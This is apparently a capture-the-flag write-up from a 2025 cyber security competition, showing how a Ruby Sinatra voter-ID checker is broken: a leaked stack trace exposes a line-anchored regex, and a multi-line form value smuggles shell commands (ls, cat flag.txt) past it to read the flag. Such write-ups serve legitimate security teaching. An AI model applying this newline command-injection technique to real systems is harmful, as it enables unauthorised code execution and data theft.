Week 3 - Australian Cyber Security Games - 2025
Verification or Execution
By Raahguu (Joshua Finlayson)9 min read
Description
Look, this is supposed to be a simple checker for an ID to make sure its actually part of the early voting system, yet someone gained access to my system?! There’s only one field and I’m sure my regex is perfect!
http://redac.ted:8002/
Solution
this link leads to a page with just a single input that asks for your ‘early voter ID’
$ curl "http://re.da.ct.ed:8002/"
<!DOCTYPE html>
<html>
<head>
<title>Early Voter Verification</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container vh-100 d-flex flex-column justify-content-center align-items-center text-center">
<h1>Welcome to the Early Voter ID Checker v0.2</h1>
<p> Thank you for trying our early voting on site system!</p>
<p> By registering early we'll allow you to access voting booths a few days earlier to put in your vote.</p>
<p> Please enter your driver's license in order to make sure that you'll have access.</p>
<form method="post" class="w-100" style="max-width: 400px;">
<label for="voter_id" class="form-label mt-3">Enter your early voter ID:</label>
<input type="text" name="voter_id" class="form-control" />
<button type="submit" class="btn btn-primary mt-3">Verify</button>
</form>
</div>
</body>
</html>
Submitting just the number 1
for out voter ID gets:
$ curl -X POST "http://re.da.ct.ed:8002/" -d "voter_id=1"
<!DOCTYPE html>
<html>
<head>
<title>Early Voter Verification</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container vh-100 d-flex flex-column justify-content-center align-items-center text-center">
<h1>Welcome to the Early Voter ID Checker v0.2</h1>
<p> Thank you for trying our early voting on site system!</p>
<p> By registering early we'll allow you to access voting booths a few days earlier to put in your vote.</p>
<p> Please enter your driver's license in order to make sure that you'll have access.</p>
<form method="post" class="w-100" style="max-width: 400px;">
<label for="voter_id" class="form-label mt-3">Enter your early voter ID:</label>
<input type="text" name="voter_id" class="form-control" />
<button type="submit" class="btn btn-primary mt-3">Verify</button>
</form>
<h2 class="mt-4">Verification Result:</h2>
<p> Checking with our specialized script... </p>
<pre class="bg-light p-3 rounded">Error: Invalid voter ID format. Expected 4 letters followed by 4 digits. Debug: did not pass /^[A-Za-z]{4}\d{4}$/</pre>
<p class="error">❌ Access denied. You are not on the early voter list.</p>
</div>
</body>
</html>
This reveals the regex that out input needs to pass: /^[A-Za-z]{4}\d{4}$/
. How about putting in an input that is of the incorrect type and maybe seeing if any code is leaked in the error message
$ curl -X POST "http://re.da.ct.ed:8002/" -d "voter_id[0]=1"
NoMethodError: undefined method `match' for {"0"=>"1"}:Sinatra::IndifferentHash (NoMethodError)
if !voter_id.match(/^[A-Za-z]{4}\d{4}$/)
^^^^^^
app.rb:13:in `block in <main>'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1807:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1807:in `block in compile!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1074:in `block (3 levels) in route!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1092:in `route_eval'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1074:in `block (2 levels) in route!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1123:in `block in process_route'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1121:in `catch'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1121:in `process_route'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1072:in `block in route!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1069:in `each'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1069:in `route!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1193:in `block in dispatch!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1164:in `catch'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1164:in `invoke'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1188:in `dispatch!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1004:in `block in call!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1164:in `catch'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1164:in `invoke'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1004:in `call!'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:993:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/base.rb:53:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/xss_header.rb:20:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/path_traversal.rb:18:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/json_csrf.rb:28:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/base.rb:53:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/base.rb:53:in `call'
/usr/local/bundle/gems/rack-protection-4.1.1/lib/rack/protection/frame_options.rb:33:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/middleware/logger.rb:17:in `call'
/usr/local/bundle/gems/rack-3.1.16/lib/rack/common_logger.rb:43:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:269:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:262:in `call'
/usr/local/bundle/gems/rack-3.1.16/lib/rack/head.rb:15:in `call'
/usr/local/bundle/gems/rack-3.1.16/lib/rack/method_override.rb:28:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/show_exceptions.rb:23:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:227:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:2138:in `call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1677:in `block in call'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1898:in `synchronize'
/usr/local/bundle/gems/sinatra-4.1.1/lib/sinatra/base.rb:1677:in `call'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/configuration.rb:279:in `call'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/request.rb:99:in `block in handle_request'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/thread_pool.rb:390:in `with_force_shutdown'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/request.rb:98:in `handle_request'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/server.rb:472:in `process_client'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/server.rb:254:in `block in run'
/usr/local/bundle/gems/puma-6.6.0/lib/puma/thread_pool.rb:167:in `block in spawn_thread'
That’s a big error message, but it tells us some crucial things. Namely, the program is written in ruby
using sinatra
and that the check !voter_id.match(/^[A-Za-z]{4}\d{4}$/)
just checks if there are any results, not the result count, or if the result is the entire thing.
Lets break down this regex to figure out how to exploit it like was hinted at in the description with the I'm sure my regex is perfect!
comment.
/^[A-Za-z]{4}\d{4}$/
This means that a line needs to start (^
) and then, we need four text characters ([A-Za-z]{4}
) before finally, having four digits (\d{4}
) and ending it off with the end of a line ($
).
So the first thought that pops into my mind is that if the passed in value is multiple lines long, then we can include extra text, while the value still passes the regex, becuase one of the lines does.
Let’s test that:
$ curl -X POST "http://re.da.ct.ed:8002/" -d "voter_id=AAAA0000
flag"
<!DOCTYPE html>
<html>
<head>
<title>Early Voter Verification</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container vh-100 d-flex flex-column justify-content-center align-items-center text-center">
<h1>Welcome to the Early Voter ID Checker v0.2</h1>
<p> Thank you for trying our early voting on site system!</p>
<p> By registering early we'll allow you to access voting booths a few days earlier to put in your vote.</p>
<p> Please enter your driver's license in order to make sure that you'll have access.</p>
<form method="post" class="w-100" style="max-width: 400px;">
<label for="voter_id" class="form-label mt-3">Enter your early voter ID:</label>
<input type="text" name="voter_id" class="form-control" />
<button type="submit" class="btn btn-primary mt-3">Verify</button>
</form>
<h2 class="mt-4">Verification Result:</h2>
<p> Checking with our specialized script... </p>
<pre class="bg-light p-3 rounded"></pre>
<p class="error">❌ Access denied. You are not on the early voter list.</p>
</div>
</body>
</html>
As you can see, our hypothesis worked. Multiple lines gets around the regex, even if the word flag
doesn’t end up doing anything.
Now, looking back at the challenge it is called Verification or Execution
we just got around the Verification
part, so I guess it is time to do the execution
To start with I discovered we could do RCE on the machine by just inputting any linux command
$ curl -X POST "http://re.da.ct.ed:8002/" -d 'voter_id=AAAA0000
ls'
<!DOCTYPE html>
<html>
<head>
<title>Early Voter Verification</title>
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
</head>
<body>
<div class="container vh-100 d-flex flex-column justify-content-center align-items-center text-center">
<h1>Welcome to the Early Voter ID Checker v0.2</h1>
<p> Thank you for trying our early voting on site system!</p>
<p> By registering early we'll allow you to access voting booths a few days earlier to put in your vote.</p>
<p> Please enter your driver's license in order to make sure that you'll have access.</p>
<form method="post" class="w-100" style="max-width: 400px;">
<label for="voter_id" class="form-label mt-3">Enter your early voter ID:</label>
<input type="text" name="voter_id" class="form-control" />
<button type="submit" class="btn btn-primary mt-3">Verify</button>
</form>
<h2 class="mt-4">Verification Result:</h2>
<p> Checking with our specialized script... </p>
<pre class="bg-light p-3 rounded">Dockerfile
Gemfile
Gemfile.lock
README.md
app.rb
flag.txt
shell.rb
shell.rb.1
shell.sh
shell.sh.1
shell.sh.2
views
votercheck.sh
</pre>
<p class="error">❌ Access denied. You are not on the early voter list.</p>
</div>
</body>
</html>
And there is the flag.txt file, so lets read it
$ curl -X POST "http://re.da.ct.ed:8002/" -d 'voter_id=AAAA0000
cat flag.txt' | grep secedu
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1296 100 1266 100 30 9465 224 --:--:-- --:--:-- --:--:-- 9744
<pre class="bg-light p-3 rounded">secedu{h0_b0y_th3y'r3_in_we'3r_in_tr0ubl3_ar3n't_w3}</pre>
There’s the flag secedu{h0_b0y_th3y'r3_in_we'3r_in_tr0ubl3_ar3n't_w3}
Back